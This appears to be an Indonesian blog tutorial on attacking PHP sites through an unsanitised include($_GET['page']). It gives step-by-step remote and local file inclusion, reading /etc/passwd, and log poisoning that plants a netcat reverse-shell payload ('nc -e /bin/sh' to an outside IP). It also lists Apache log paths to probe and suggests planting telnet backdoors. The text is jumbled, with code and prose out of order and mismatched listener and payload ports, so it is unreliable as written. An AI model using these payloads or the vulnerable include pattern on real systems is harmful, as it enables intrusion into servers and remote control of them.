<?phpJikalau dijalankan maka akan muncul error:
$page = $_GET['page'];
include($page);
?>
Notice: Undefined index: page in /var/www/htdocs/page.php on line 2Perhatikan kesalahan kode di baris ke-3 fungsi perintah inclusion ‘page’ dan dalam kesalahan ini dapat dimamfaatkan untuk memasukkan kode jahat, lihat perintah berikut:
Warning: include() [function.include]: Failed opening ” for inclusion (include_path=’.:/usr/lib/php’) in /var/www/htdocs/page.php on line 3
http://hong.web.id/page.php?page=…..attacker/kode.txtDidalam file kode.txt dapat diisi kode yang kita inginkan seperti disini berikut contohnya:
<?Jadi kalau diinginkan perintah yang lebih jauh lagi, bisa di ganti sendiri perintah2 didalam file kode.txt tadi, misalkan memasukkan file backdoor telnet atau yang lainnya. (Kreativitas anda ditentukan disini). nah tehnik penyerangan diatas berhasil jikalau tidak ada muncul peringatan seperti berikut:
echo “”.passthru(‘uname -rv’).”";
echo “<p>”;
echo “”.passthru(‘pwd’).”";
echo “<p>”;
echo “”.passthru(‘id’).”";
echo “<p>”;
echo “”.passthru(‘ls’).”";
echo “<p>”;
?>
Warning: include() [function.include]: URL file-access is disabled in the server configuration in /var/www/htdocs/page.php on line 3Kalau nongol peringatan diatas berarti RFI tidak dibenarkan, mungkin settingan php.ini dibagian allow_url_include berada dalam kondisi Off. Tapi kita jangan putus asa dulu, sekarang kita coba tehnik LFI atau local file inclusion, dimana file yang akan kita sisipkan dalam hal ini berada disatu tempat bersama server yang akan kita kerjain. Contoh perintahnya:
Warning: include(http://site.attacker/kode.txt) [function.include]: failed to open stream: no suitable wrapper could be found in /var/www/htdocs/page.php on line 3
http://hong.web.id/page.php?page=../../../etc/passwd
Dan jika berhasil, maka akan kelihatan isi file /etc/passwd di server yang kita kerjain tadi. mau yang lebih keren lagi? misalnya mendapatkan akses ke shellnya? Coba langkah berikut:
- Siapkan 1bh login shell ssh atau apa saja yang penting bisa untuk menjalankan program netcat atau nc.
- Koneksi internet yg ok yah, ngga lelet maksudnya.
- kreativitas, kesabaran anda, rokok jgn lupa yah.
GET/<? echo “”.passthru(‘nc -e /bin/sh 202.160.160.160 4002′).”"; ?>Dimana ip 202.160.160.160 adalah ip shell kita yang telah kita siapkan untuk menerima koneksi dari server yang sedang kita kerjain tadi. dimana di shell kita jalankan perintah netcat berikut:
root@hong.web.id:~# nc -l -v -p 4001Perlu diingat, dimana disini diperlukan sedikit kesabaran dan kerja keras, kode yang telah kita coba jalankan diweb yang kita serang, akan menghasilkan error.log yang disimpan dlm sebuah file, dalam hal ini posisi filenya mungkin berbeda disetiap server. berikut kira2 lokasi file error.log nya:
../apache/logs/error.logAtau mungkin berada disatu direktori bersama:
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
../../../../../../../var/log/httpd/error_log
../../../../../../../var/log/httpd/error.log
../../../../../../../var/log/httpd/namadomain.org-error_logSesudah memasukkan kode ‘GET/<? echo “”.passthru(‘nc -e /bin/sh 202.160.160.160 4002′).”"; ?>’ tadi ke web yang sedang kita kerjain, dan kira2 filelognya di ‘../../../../../../../home/namauser/public_html/error_log.gz’, perintah selanjutnya yaitu:
../../../../../../../var/log/httpd/namadomain.org-access_log
../../../../../../../home/namauser/public_html/error_log.gz
http://hong.web.id/page.php?page=../../../../../../../home/namauser/public_html/error_log.gzJika berhasil anda telah melakukan Remote Connect-Back Shell, coba lihat konsole anda yang menjalankan nc tadi, kita akan mendapatkan shell dari target dan kita bisa menjalankan berbagai perintah linux.
Sumber
Tidak ada komentar:
Posting Komentar
Jangan lupa berkomentar setelah membaca.
Semua trik disini telah menjadi tanggungjawab masing-masing :)
Jangan lupa G+ nya yaa ._.